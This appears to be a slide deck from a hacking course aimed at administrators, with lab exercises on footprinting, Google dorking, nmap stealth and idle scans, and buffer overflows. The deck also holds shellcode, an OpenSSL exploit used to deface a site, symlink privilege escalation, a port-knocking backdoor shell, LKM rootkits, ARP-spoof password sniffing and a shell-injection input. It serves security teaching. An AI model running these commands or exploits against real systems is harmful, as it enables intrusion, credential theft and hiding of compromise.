Hacking Techniques

by

Michael Hamm
Hacking Techniques

- Email propagation of malicious code
- "Stealth"/advanced scanning techniques
- Widespread attacks using NNTP to distribute attack
- Widespread attacks on DNS infrastructure
- Executable code attacks (against browsers)
- Automated widespread attacks
- GUI intruder tools
- Hijacking sessions
- Internet social engineering attacks
- Packet spoofing
- Automated probes/scans
- Widespread denial-of-service attacks
- Techniques to analyze code for vulnerabilities without source code
- DDoS attacks
- Increase in worms
- Sophisticated command & control
- Antiforensic techniques
- Home users targeted
- Distributed attack tools
- Increase in wide-scale, Trojan horse distribution
- Windows-based, remote controllable Trojans (Back Orifice)

© 2005 Carnegie Mellon University (Lawrence R. Rogers, Author)
Hacking Techniques

<table>
<thead>
<tr>
<th>Attackers</th>
<th>Objectives</th>
</tr>
</thead>
<tbody>
<tr>
<td>Hackers</td>
<td>Challange, Status</td>
</tr>
<tr>
<td>Spies</td>
<td>Political Gain</td>
</tr>
<tr>
<td>Terrorists</td>
<td>Financial Gain</td>
</tr>
<tr>
<td>Insider</td>
<td>Damage</td>
</tr>
<tr>
<td>Prof. Crimminaly</td>
<td></td>
</tr>
<tr>
<td>Vandals</td>
<td></td>
</tr>
</tbody>
</table>

Challange, Status
- Political Gain
- Financial Gain
- Damage
Hacking Techniques

- Geek
- Hackers
- Script Kiddies
- Stupid Users
- Automated Scripts / Viruses / Botnet / Spam
Hacking Techniques

- High profile targets:
  -- Banks
  -- Military
  -- Universities
  -- Telecom / internet Provide
  -- Private PC’s / Enduser
    -- Botnet
    -- Spam
    -- Homebanking Data
Most often Security problems:
(Source: CSI/FBI Computer Crime and Security Survey)
Hacking Techniques

➤ Network based System Hacking
➤ Web Server Hacking
➤ Physically enter the Target Building
➤ WLAN (Wireless LAN) Hacking
➤ War Dialling
➤ Sniffing
➤ Social Engineering
➤ Viruses
Exercise:  
-- physical access = root rights --

1. Interrupt the bootloader by pressing >> e <<
2. Select the kernel line and press >> e <<
3. add >> init=/bin/bash << to the kernel line
4. kernel /vmlinuz-2.6.8 root=/dev/hda4 ro init=/bin/bash
5. Press >> Enter <<
6. Press >> b << to boot
7. mount -o remount,rw /dev/hda4
8. passwd hamm (password: test123)
9. passwd (password: test123)
10. sync
11. mount -o remount,ro /dev/hda4
12. shutdown -rn now
13. Login as user hamm & launch vmware; start all VM from top down
Hacking Techniques

1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
Footprinting

-- Information Gathering --

➤ visit targets’ websites
➤ review HTML Code, JavaScript and Comments & robots.txt
➤ search for passwords, hidden directories, contact names

➤ Dumpster Diving

Quotation Bill Gates in: Susan Lammers; Programmers at Work Tempus Books; Reissue Edition, 1989

„No, the best way to prepare is to write programs, and to study great programs that other people have written. In my case, I went to the garbage cans at the Computer Science Centre and I fished out listings of their operating system.“
Footprinting  
-- Information Gathering --

➤ whois request at the Network Information Centre  
-- receive information about IP address ranges  
-- Names and EMail addresses of responsible

whois -h whois.dns.lu linuxdays.lu

```plaintext

domainname:         linuxdays.lu
nservers:           arthur.tudor.lu
dnservers:          dorado.tudor.lu
org-name:           Centre de Recherche Public Henri Tudor
adm-email:          pierre.plumer@crpht.lu
tec-name:           Xavier Detro
tec-email:          xavier.detro@tudor.lu
```

Important whois domains:
- RIPE (Europe & N-Africa)
- APNIC (Asia Pacific)
- ARIN (N-America & S-Africa)
- LACNIC (Latin America)
Footprinting
-- Exercise Information Gathering --

➤ DNS Lookup
-- use nslookup tools to receive informations about DNS- & EMAIL Server, looking for names like Oracle, TestLinux, ....
-- try a zone transfer

➤ Footprinting by DNS: nslookup(1); host(1); dig(1);

# nslookup
> server 192.168.22.22
> www.mumm.lu

> set type=mx
> mumm.lu

> set type=any
> mumm.lu

> ls –d mumm.lu # try zone transfer
> exit

# dig @192.168.22.22 mumm.lu axfr # Zonetransfer
Footprinting -- Information Gathering --

➤ whois tools:

-- Sam Spade www.samspade.org
-- Smart Whois www.tamos.com
-- Netscan www.netscantools.com
-- GTWhois www.geektools.com
-- http://www.all-nettools.com/toolbox

➤ DNS must reads:

-- RFC 1912 Common DNS Errors
-- RFC 2182 Secondary DNS Servers
-- RFC 2219 Use of DNS Aliases
Footprinting -- Information Gathering --

- footprinting @ google
- news group articles of employees @<targetdomain>
- search business partners link:<targetdomain>
- site:<targetdomain> intitle:index.of
- site:<targetdomain> error | warning
- site:<targetdomain> login | logon
- site:<targetdomain> username | userid
- site:<targetdomain> password
- site:<targetdomain> admin | administrator
- site:<targetdomain> inurl:backup | inurl:bak
- site:<targetdomain> intranet
Google Hacking
-- Introduction --

The Beginnings:

www.theregister.co.uk/2001/11/28/the_google_attack_engine/
Link points to a Switch of a.gov Network

Google not 'hackers' best friend‘ -- ww.vnunet.com/News/1127162
 Index.of +banques +filetype:xls

Johnny (I hack stuff) Long
‘Google Hacking for Penetration Testers’
Google Hacking Database http://johnny.ihackstuff.com

12.03.2006 Chicago Tribune
http://www.heise.de/newsticker/meldung/70752
2600 CIA Agents discovered via Search Engine
Google Hacking
-- Introduction --

What to know:

Advanced Operands:
  site:<domainname>
  inurl:<path>
  filetype:<xls|doc|pdf|mdb|ppt|rtf|......>
  intitle:<keyword>
  intext:<keyword>

...
...

Google as an ‘Anonymous Proxy’
  Google Cache
  &strip=1
Google Hacking
-- Introduction --

What to know:

The Power of combining Advanced Operands:

```
site:heise.de -site:www.heise.de
```
-- shows all websites NOT from the official Webserver
-- maps nre hostnames without contacting target network

Offline Analysis of the search result:

-- www.sensepost.com/research_misc.html
-- SOAP Google API
Google Hacking
-- Introduction --

What to find:

The Google Hacking Database (johnny.ihackstuff.com):
-- Directory Listings → Hidden/Private Files
  intitle:index.of ‘parent directory’
  intitle:index.of.admin
  intitle:index.of inurl:admin
  intitle:index.of ws_ftp.log
-- Error Messages of Scripts
  ‘Fatal error: call to undefined function’
  –reply –the –next
  ‘Warning: Failed opening’ include_path
-- Search for vulnerable Scripts
  inurl:guestbook/guestbooklist.asp
  ‘Post Date’ ‘From Country’
-- Search for Backups
  filetype:bak inurl:php.bak
  filetype:bak inurl:php.bak
-- Search for:
  --- Printers; --- Webcams; --- Intranet Sites;
  --- Network Tools Ntop, MRTG; --- Databases
Google Hacking  
-- Exercise --

Livecycle of a Google Hack:

1. Security Problem discovered on online product;
2. Analyse online product
3. Find typical string
4. Create a google request
5. Find vulnerable websites

Examples:

-- inurl:php.bak mysql_connect mysql_select_db
-- ext:pwd inurl:(service | authors | administrators | users)
  "# -FrontPage-
-- "index of/" "ws_ftp.ini" "parent directory"
-- !Host=*.* intext:enc_UserPassword=* ext:pcf
-- "admin account info" filetype:log
-- enable password | secret "current configuration"
 -intext:the
anonymity doesn’t exist

➤ break systems in different countries / time zones
➤ install network multipurpose tools like netcat or backdoors
➤ hop from host to host to get anonymity
Hacking Techniques

1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
Scanning

-- Goals --

➤ mapping of the target network
➤ use system tools like traceroute & ping
➤ Visual Tools: NeoTrace (Visual Trace) & Visual Route
➤ finding the range of IP addresses
➤ discerning the subnet mask
➤ identify network devices like firewalls & routers
➤ identify servers

➤ mapping of the reachable services
➤ detecting `live` hosts on target network
➤ discovering services / listening ports / portscan; nmap;
➤ identifying operating system & services
➤ identify application behind services & patch level
Scanning
-- Network Mapping --

Nmap: find living hosts

```
$ su -
# ns_mumm
# cat /etc/resolve.conf

# nmap -sL www.mumm.lu/27     # List Scan
(only do nslookup for the IP rage)

# nmap --packet_trace -sP www.mumm.lu/27   # ICMP/TCP
(send ICMP Echo Request and ACK to Port 80
if RST is received → host is alive / unfiltered)

# nmap -n -P0 -SU -g 53 -p 53 -T polite www.mumm.lu/27
(UDP Scans are almost NOT usefully; -g 53 = sourceport
-P0 = don’t PingScan first; -T polite = scan speed)

-sF, -sX, -sN, -sA,           # not usable
FIN-, XMAS-, Null-, ACK-     # today
```
Nmap: port scan (connect scan)

```bash
# nmap -n -sT -P0 -p 80 192.168.22.21,22,24
# nmap -n -sT -P0 -p 110 192.168.22.21,22,24
```

Port open:
- SYN
- SYN/ACK
- ACK
- RST/ACK

Port closed:
- SYN
- RST/ACK
Nmap: port scan (stealth scan)

# nmap -n -sS -P0 -p 80 192.168.22.21,22,24
# nmap -n -sS -P0 -p 110 192.168.22.21,22,24
Scanning
-- Port Scanning --

Nmap: port scan

# nmap -n -sT -P0 -p 20-25,80,443 192.168.22.21,22,24

# nmap -n -sS -P0 -p 20-25,80,443 192.168.22.21,22,24

Techniques to stay anonymous:

silent scan:
# nmap -n -sT -P0 -T sneaky -p 20-25,80 192.168.22.22

fragmentation scan
# nmap -n -P0 -f -p 20-25,80 192.168.22.22

decoy scan
# nmap -n -P0 -D 1.1.1.1,2.2.2.2,ME,3.3.3.3 -p 80 <host>
Scanning

-- Exercise --

Scan the MUMM.LU network:
Advanced Scanning
-- IP-ID Idle Scan --

Exercise: Who the hell is scanning you?

target perform:
# tcpdump -n -i eth0 host 192.168.4.<your IP Address>

attacker perform: (idle_scan)
Advanced Scanning
-- IP-ID Idle Scan --

- based on IP-ID prediction
- example with `hping2 -SA -p 80 -c 5 <switch ip>`
- all packets have Fragment-ID Number
- every new packet increases the IP ID Number
- by most systems IP ID + 1
- this is exploitable
- by monitoring the IP ID value of a host
- you know how many packets he sends
- this could be abused for zombie port scanning
Advanced Scanning
-- IP-ID Idle Scan --

Step 1: A) send SYN/ACK to Zombie
B) investigate the answer IPID
C) repeat A) and B) multiple times, verify quality of Zombie

IP-ID Probe -> SYN/ACK
Response -> RST; IPID=2
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=3
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=4
IP-ID Probe -> SYN/ACK
Response -> RST; IPID=5
Advanced Scanning
-- IP-ID Idle Scan --

Step 2: A) Send SYN to target BUT spoof the Source IP Address, claim to be the Zombie
B) open port: Target send SYN/ACK to Zombie
C) open port: Zombie send RST and increase IPID to Target
Step 2: A) Send SYN to target BUT spoof the Source IP Address, claim to be the Zombie
B) close port: Target simply send a RST to the Zombie
Advanced Scanning
-- IP-ID Idle Scan --

Step 3: A) send SYN/ACK to Zombie
  B) investigate the answer IPID
     If IPID = 6 \(\rightarrow\) port was close
     If IPID = 7 \(\rightarrow\) port was open

IP-ID Probe -> SYN/ACK
Response -> RST; IPID=7
Advanced Scanning

-- IP-ID Idle Scan --

IP ID Idle Scan with nmap

```
# nmap -n -P0 -p20-25,80,443 -sI <zombie> <target>
# nmap -n -P0 -p20-25,80,443 -sI 10.10.10.10 10.10.11.11
```
Scanning

-- Identifying Services --

Banner Grabbing & Version Mapping:

- What services are bound to the port:
  -- identifying service / protocol;
  -- identifying Server-Software;
  -- identifying Version Number;
  -- identifying additional Modules etc.

automatic approach

# nmap -n -p 20-25,80,443 -sV 192.168.22.22,25

# nmap -n -p 20-25,80,443 -oM scan1 192.168.22.22,25
# amap -B -i scan1
# amap -i scan1
Scanning

-- Identifying Services --

Banner Grabbing & Version Mapping:

manual approach with Netcat

```
# nc 192.168.22.22 22
# nc 192.168.22.22 80
  HEAD / HTTP/1.0
# nc 192.168.22.21 21
# nc 192.168.22.21 80
  HEAD / HTTP/1.0
```

OS Detection

```
# nmap -O 192.168.22.22,25
# xprobe2 192.168.22.22
# xprobe2 -p tcp:443:open 192.168.22.22
```
Hacking Techniques

1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
Gaining Access
-- Where are we now --

At this point we know (without doing something illegal at all):
-- Targets business (products, partners, employees)
-- overview of the network topology
-- overview of live servers and open ports
-- services in use, server-software, version numbers

How to proceed:
-- is there a known vulnerability
-- do we know a vulnerability
-- known configuration problems
-- default passwords

prepare attack
-- research on internet for known security holes
-- default passwords; common misconfigurations
-- setup a test environment to practice the attack
-- ideal: fire one single attack
Gaining Access

---

OpenSSH GSSAPI Credential Disclosure Vulnerability
2006-01-18
http://www.securityfocus.com/bid/14729

OpenSSH-portable PAM Authentication Remote Information Disclosure Vulnerability
2004-11-30
http://www.securityfocus.com/bid/11781

OpenSSH LoginGraceTime Remote Denial Of Service Vulnerability
2004-01-28
http://www.securityfocus.com/bid/14963

OpenSSH PAM Conversation Memory Scrubbing Weakness
2003-11-13
http://www.securityfocus.com/bid/9040

OpenSSH Buffer Mismanagement Vulnerabilities
2003-09-16
http://www.securityfocus.com/bid/8628

OpenSSH Remote Root Authentication Timing Side-Channel Weakness
2003-08-01
http://www.securityfocus.com/bid/7482

OpenSSH-portable Enabled PAM Delay Information Disclosure Vulnerability
2003-04-30
http://www.securityfocus.com/bid/7467
Gaining Access

**Vendor:** OpenSSL Project

**Title:** OpenSSL

**Version:** 0.9.6 b

---

**OpenSSL Insecure Protocol Negotiation Weakness**
2005-10-11
http://www.securityfocus.com/bid/15071

**Advanced Encryption Standard Cache Timing Key Disclosure Vulnerability**
2005-05-26
http://www.securityfocus.com/bid/13785

**OpenSSL DER_CHOP Insecure Temporary File Creation Vulnerability**
2004-09-30
http://www.securityfocus.com/bid/11293

**OpenSSL ASN.1 Large Recursion Remote Denial Of Service Vulnerability**
2003-11-04
http://www.securityfocus.com/bid/8970

**OpenSSL SSLv2 Client_Master_Key Remote Denial Of Service Vulnerability**
2003-10-02
http://www.securityfocus.com/bid/8746

**OpenSSL ASN.1 Parsing Vulnerabilities**
2003-09-30
http://www.securityfocus.com/bid/8739
Gaining Access

Gaining Access

OpenSSL Bad Version Oracle Side Channel Attack Vulnerability
2003-03-19
http://www.securityfocus.com/bid/7148

OpenSSL Timing Attack RSA Private Key Information Disclosure Vulnerability
2003-03-14
http://www.securityfocus.com/bid/7101

OpenSSL CBC Error Information Leakage Weakness
2003-02-19
http://www.securityfocus.com/bid/6884

OpenSSL SSLv3 Session ID Buffer Overflow Vulnerability
2002-07-30
http://www.securityfocus.com/bid/5362

OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability
2002-07-30
http://www.securityfocus.com/bid/5363

OpenSSL ASCII Representation Of Integers Buffer Overflow Vulnerability
2002-07-30
http://www.securityfocus.com/bid/5364

OpenSSL ASN.1 Parsing Error Denial Of Service Vulnerability
2002-07-30
http://www.securityfocus.com/bid/5366
Gaining Access
-- prepare attack --

OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow Vulnerability

Exploit code that appears to be function has been discovered in the wild. Additionally, this code may be part of an "auto-hacking" utility or worm with peer-to-peer and distributed denial of service capabilities. There are two reported intrusions in Europe.

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following exploit code is available:

- /data/vulnerabilities/exploits/OpenFuck.c
- /data/vulnerabilities/exploits/OpenFuckV2.c
Gaining Access

-- Buffer Overflow --

➤ Stack Based Buffer Overflows
➤ Off-by-One Overflows
➤ Frame Pointer Overwrites
➤ BSS Overflows
➤ Heap Overflows
Gaining Access
-- Stack Based Buffer Overflow --

➤ C/C++ problem
➤ programming error
➤ Copy to much variable user input into fixed sized buffer

```c
#include <stdio.h>

int main()
{
    char name[31];
    printf("Please type your name: ");
    gets(name);
    printf("Hello, %s", name);
    return 0;
}
```

Buffer overflow occur if you enter
`1234567890123456789012345678901234567890`
Gaining Access
-- Stack Based Buffer Overflow --

Exploitation:
-- Missing bounds checking
-- Multiple “unsafe” functions in libc
-- Executing code in the data/stack segment
-- Creating the to be feed to the application

Memory layout of a process:
Gaining Access
-- Stack Based Buffer Overflow --

-- Stack holding all the information for the function
-- Stack is created at the beginning of a function
-- Stack is released at the end of a function
-- LIFO mechanism to pass arguments to functions and to reference local variables

```c
void function (void) {
    [ ... ]
}

int main (void) {
    int a;
    function (argv[1])
    [ ... ]
}
```

- function parameters
- local variables
- data to recover previous frame
```c
void function (char *args) {
    char buff[512];
    strcpy (buff, args);
}

int main (int argc, char *argv[]) {
    if (argc > 1) {
        function (argv[1]);
    } else {
        printf ("no input\n");
        return 0;
    }
```

Stack

- **EIP**: Extended Instruction Pointer
- **EBP**: Extended Base Pointer
- **ESP**: Extended Stack Pointer

**Diagram Notes**:
- Frame 1: `main()` function frame
- Frame 2: `function()` function frame
- Variables:
  - `args`
  - `buff[512]`
  - `sfp`
  - `saved registers`
  - `local variables`
Gaining Access
-- Stack Based Buffer Overflow --

```c
void function (char *args) {
    char buff[512];
    strcpy (buff, args);
}

int main (int argc, char *argv[]) {
    if (argc > 1) {
        function (argv[1]);
    } else {
        printf ("no input\n");
        return 0;
    }
}
```
Gaining Access
-- Stack Based Buffer Overflow --

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    if (argc > 1)
    {
        function (argv[1]);
    } else
    {
        printf("\n\nGaining Access
-- Stack Based Buffer Overflow --

void function (char *args)
{
    char buff[512];
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    if (argc > 1)
    {
        function (argv[1]);
    } else
    {
        printf("\no input\n");
        return 0;
    }
}
void function (char *args)
{
    char buff[512];
    strcpy (buff, args);
}

int main (int argc, char *argv[])
{
    if (argc > 1)
    {
        function (argv[1]);
    } else
    {
        printf ("no input\n");
        return 0;
    }
}
Gaining Access
-- Shellcode --

char linux_ia32_shellcode[]=

"\x31\xc0"   /* xorl %eax,%eax   */
"\x50"        /* pushl %eax      */
"\x68""\/sh"  /* pushl $0x68732f2f */
"\x68""/bin"  /* pushl $0x6e69622f */
"\x89\xe3"   /* movl %esp,%ebx  */
"\x50"        /* pushl %eax      */
"\x53"        /* pushl %ebx      */
"\x89\xe1"   /* movl %esp,%ecx  */
"\x99"        /* cdql           */
"\xb0\x0b"    /* movb $0x0b,%al  */
"\xcd\x80"    /* int $0x80      */

Old school payload: bindshell, backconnect
Gaining Access
-- Exercise: Web Site defacement --

$ cd /home/hamm/ssl/
$ ls -la
$ ./openSSL 0x73 192.168.22.21 443 -c 40
    /usr/bin/whoami
    echo "hacked by me..... " > /var/www/html/index.html

- Unprivileged user -> local user privileges escalation
What do we see on the Firewall???
Gaining Access
primary target webserver
-- why they are so vulnerable --

➤ complex application
➤ multiple subsystems:
application server, scripts, sql-server
➤ self made applications:
programmers don’t know how to write secure code
➤ Shell-Command-Injection:
bypass commands through the shell
Input: "Alice; rm - rf"
➤ SQL-Injection
bypass SQL Commands by User input
Input: "User=Alice' -&Pass=Idontknow"
Hacking Techniques

1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
Maintaining Access
-- be silent --

➤ after a successful initial attack
➤ hide the tracks from logfiles
➤ expand local rights; find vulnerabilities in network
➤ install rootkits, steal password database, start network sniffer
➤ try same password on other systems
➤ find problems in topology (ex. dual homed hosts)
➤ try to attack the private network
Maintaining Access
Privileges Escalation
-- Race Condition --

what could I try to attack?
- SUID / SGID binaries
  find / -perm -4000 -type f -user root -print
  find / -perm -2000 -type f -group root -print

- privileged process
- Kernel
- password file

Source of problems?
- configuration error
- local software vulnerabilities
  -- buffer overflow
  -- race condition
  -- format string
Maintaining Access
Privileges Escalation
-- example: race_bug --

```c
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[])
{
    char path[] = "/tmp/race.txt"
    FILE *fp;

    fp = fopen (path, "a+");
    fprintf (fp, "%s\n", argv[1]);

    fclose (fp);
    unlink (path);

    return 0;
}
```
Maintaining Access
Privileges Escalation
-- example: race_bug --

Prepare attack
$ cd /home/hamm/race
$ ls -la
$ ./race_bug test
$ ls -la /tmp
$ cat /etc/passwd
$ su -; cp /etc/passwd /etc/passwd.bak; exit

Attak:
$ ln -s /etc/passwd /tmp/race.txt
$ ls -la /tmp
$ cat command
$ ./command
$ ls -la /tmp
$ cat /etc/passwd
$ su - bimbam
# id
Maintaining Access

Privileges Escalation

-- Exercise: privileges escalation --

```
$ su -
# cd /home/hamm/ssl/
# ls -la
# cp p /tftpboot
# /etc/init.d/atftpd start
# exit
$ ./openSSL 0x73 192.168.22.21 443 -c 40
/usr/bin/whoami
pwd
/usr/bin/tftp 192.168.22.1
    mode binary     # local root exploit
    get p
    quit
ls -l
chmod +x p
ls -l
./p
whoami
```
Maintaining Access
Port Knocking
-- introduction --

Aka Port Knocking Back Door

- Open Port?????
  - no promisc mode, no open ports
  - raw sockets
  - trigger for special packets to get activated

- attacker:
  -- send trigger pkg1
  -- send trigger pkg2
  -- send trigger pkg3
  -- send command pkg1

- example: Sadoor
  http://cmn.listptojects.darklab.org
Maintaining Access

Port Knocking

-- Sadoor example --

Sadoor daemon configuration: /etc/sadoor/sadoor.pkts

```
# key 1
keypkt
{
  ip {
    daddr = 192.168.22.24;
    saddr = 192.168.22.1;
    icmp {
      type = 8;
    }
  }
}

# key 2
keypkt
{
  ip {
    daddr = 192.168.22.24;
    saddr = 192.168.22.1;
    tcp {
      flags = SYN;
      dport = 80;
      sport = 3456;
    }
  }
}
```
Sadoor daemon configuration: /etc/sadoor/sadoor.pkts

```plaintext
# key 3
keypkt
{
    ip {
        daddr = 192.168.22.24;
        saddr = 192.168.22.1;
        udp {
            dport = 111;
            data { bim\x20bam }
        }
    }
}

# command
cmdpkt
{
    ip {
        daddr = 192.168.22.24;
        saddr = 192.168.22.1;
        tcp {
            sport = 80;
            sport = 12345;
        }
    }
}
```
Maintaining Access
Port Knocking
-- Sadoor example --

Create a config-image database
and download it to /home/hamm/.sash

```
mksadb
mv sadoor.db /var/www/html/
chmod 644 /var/www/html/sadoor.db
```

Run the daemon

```
/usr/sbin/sadoor
```

Review logging

```
tail -f /etc/sadoor/sadoor.log
```
Maintaining Access

Port Knocking

-- Sadoor example --

ON CLIENT side:
1. Download http://testwww.mumm.lu/sadoor.db

2. become root
   cd
   cd .sash
   mv /home/hamm/sadoor.db .
   sadbcat sadoor.db sash.db  # create encrypted db
   rm -f sadoor.db  # delete plain sequence

3. Sending commands
   sash 192.168.22.24 \
   -vv -r "cat /etc/passwd > /var/www/html/test.txt"
   sash 192.168.22.24 "chmod 644 /var/www/html/test.txt"

4. Establish a connection / remote shell
   sash 192.168.22.24 -vv
       sh-2.05b# whoami
       sh-2.05b# /sbin/ifconfig
       sh-2.05b# exit
Hacking Techniques

1. Reconnaissance
2. Scanning
3. Gaining Access
4. Maintaining Access
5. Clearing Tracks
Main goals of a rootkit:

- hide activities of an attacker to the legal administrator
  -- active processes
  -- directories & files
  -- network activities

- provide a backdoor to the system

- let the attacker become root whenever he want

- collect sensitive data
  -- from network
  -- from user input
Clearing Tracks
Rootkits

-- introduction --

1th generation: Binary Rootkits

- replace important system tools by modified versions:
  -- du(1), locate(1), netstat(1), ps(1), top(1),
  -- ifconfig(1), w(1), who(1), …..

- defined parameters will become invisible in the future:
  -- IP Addresses
  -- directories & files
  -- usernames

- easy to discover:
  -- by filesystem integrity checker: -- tripwire, -- aide

- examples: Irk3-6, (Linux), Fbrk (FreeBSD), Solaris Rootkit
Clearing Tracks

Rootkits

-- introduction --

2nd generation: LKM (Loadable Kernel Modules) Rootkits

- expand the functionality of the kernel

- can be loaded dynamically: `insmod(3)`, `rmmod(3)`

- implemented as device driver
  - `high level of flexibility`

- implementations:
  - -- new modules
  - -- infecting existing modules

- result: trojaned kernel → full control over all userland apps.
Clearing Tracks
Rootkits
-- introduction --

2th generation: LKM (Loadable Kernel Modules) Rootkits

- syscalls: a gate between userland and kernel

- example for syscalls: trace /bin/ls

```c
execve(...) 
uname(...) 
brk(0) 
old_mmap(...) 
access(...) 
open(...) 
open(...) 
... 
... 
```
Clearing Tracks
Rootkits
-- introduction --

2th generation: LKM (Loadable Kernel Modules) Rootkits

- normal syscall:

Userland
Kernel

interrupt handler
selection

int 80
parameter into
registers

Syscall Table
Interrupt Descriptor Table (IDT)

Exec syscall example: mkdir

Interrupt handler: syscall selection
Clearing Tracks

Rootkits

-- introduction --

2th generation: LKM (Loadable Kernel Modules) Rootkits

- manipulated syscall:

Userland → Kernel

Parameter into registers → int 80

Interrupt Descriptor Table (IDT)

Selection of the interrupt handler → Interrupt handler: syscall selection

Exec syscall example

Exec syscall manipulated: mkdir

Syscall Table
2th generation: LKM Rootkit: Exercise: mkdir_Rootkit

```c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <stdio.h>

MODULE_LICENSE("GPL");

/* import syscall table */
extern void *sys_call_table[];

/* dummy for old mkdir syscall */
int (*orig_mkdir) (const char *path);

/* the new mkdir syscall */
int hack_mkdir (const char *path) {
    printk ("BimBam!\n");
    return 0;
}

int init_module (void) {
    orig_mkdir=sys_call_table[SYS_mkdir];
    sys_call_table[SYS_mkdir]=hack_mkdir;
    return 0;
}

void cleanup_module (void) {
    sys_call_table[SYS_mkdir]=hack_mkdir;
}
```
Clearing Tracks

Rootkits

-- introduction --

2th generation: LKM Rootkit: Exercise: mkdir_Rootkit

cd /root/rootkit/mkdir
 gcc -c -I /usr/src/linux/include mkdir.c
 insmod mkdir.o
 lsmod
 mkdir test
 ls -la
 cat /var/log/messages

 rmmod mkdir
 lsmod
 mkdir test
 ls -la
Clearing Tracks

Rootkits

-- introduction --

2th generation: LKM Rootkit: Adore

```
cd /root/rootkit/adore/
inmod adore.o
lsmod
inmod cleaner.o
lsmod
rmmod cleaner
lsmod

pas aux | grep ssh
./ava i <PID SSHD>
pas aux | grep ssh

netstat -punta | grep 22

mkdir /root/rootkit/bimbam
./ava h /root/rootkit/bimbam
ls -la /root/rootkit

./ava -U dummy
```
Clearing Tracks
Rootkits
-- introduction --

3th generation: (Virtual File System) VFS Layer Rootkit

- sys_call_table is not exported anymore
  -- Red Hat 8.0 (Kernel 2.4.18)
  -- Kernel 2.5.41 →

- all Syscalls which access the Filesystem make use of
  the Virtual File System

- in Unix, most of all is handled like a file

- existing Handler-Routines are replaced by modified one
  → files/folder could be hidden
  → via /proc hiding of processes
Clearing Tracks
Rootkits

-- introduction --

3th generation: (Virtual File System) VFS Layer Rootkit
Insider Attacks
Insider Attacks
-- Password Sniffing true a Switch --

Default Gateway
IP: 10.10.10.1
MAC: 11:11:11:11:11:11

Attacked PC
IP: 10.10.10.2


No gratuitous ARP, BUT directed ARP:
ETHERNET II
ARP reply:
Sender IP addr: 10.10.10.1
Insider Attacks
-- Password Sniffing true a Switch --

Exercise:

1. echo 1 > /proc/sys/net/ipv4/ip_forward
2. arpspoof –i eth0 –t 192.168.4.30 192.168.4.28
3. dsniff -cn

Telnet Client:
IP: 192.168.3.3
IP: ___.___.___.___

Telnet Server:
IP: 192.168.3.4
IP: ___.___.___.___

Attacker:
IP: 192.168.3.2
MAC: 00:08:74:B3:BB:F1
IP: ___.___.___.___
MAC: __:__:__:__:__:__
Insider Attacks

SSH MitM Attack
-- by DNS Spoofing --

SSH Server:
IP: 192.168.3.3

DNS Query (HOST: server_xyz.lu)

Target: SSH Client:
IP: 192.168.3.xx

Default Gateway:
IP: 192.168.3.1

DNS Server:
IP: 158.64.4.

Attacker:
IP: 192.168.3.2

DNS Response (server_xyz.lu, 192.168.3.2)
Insider Attacks

SSH MitM Attack

-- by DNS Spoofing --

WARNING: HOST IDENTIFICATION HAS CHANGED!
1. Either the administrator of the remote host computer has changed the host identification, or
2. The host has upgraded the SSH protocol from SSH1 to SSH2, or
3. SOMEONE COULD BE EAVESDROPPING ON YOU RIGHT NOW
   (man-in-the-middle attack)!

It is NOT RECOMMENDED to connect to the remote host computer until you have
contacted the system administrator and found out why
the host identification has changed.

The fingerprint of the host public key is:
"xokel-nabuf-nysur-gizen-sidek-zohak-vatyf-losoy-dybyk-mufin-daxix"

Do you want to continue with the connection?

Yes  No  Help
Insider Attacks

SSH MitM Attack
-- by DNS Spoofing --

SSH Server:
IP: 192.168.3.3

Default Gateway:
IP: 192.168.3.1

DNS Server:
IP: 158.64.4.

Attacker:
IP: 192.168.3.2

Target: SSH Client:
IP: 192.168.3.xx
Hacking for Admins

by
Michael Hamm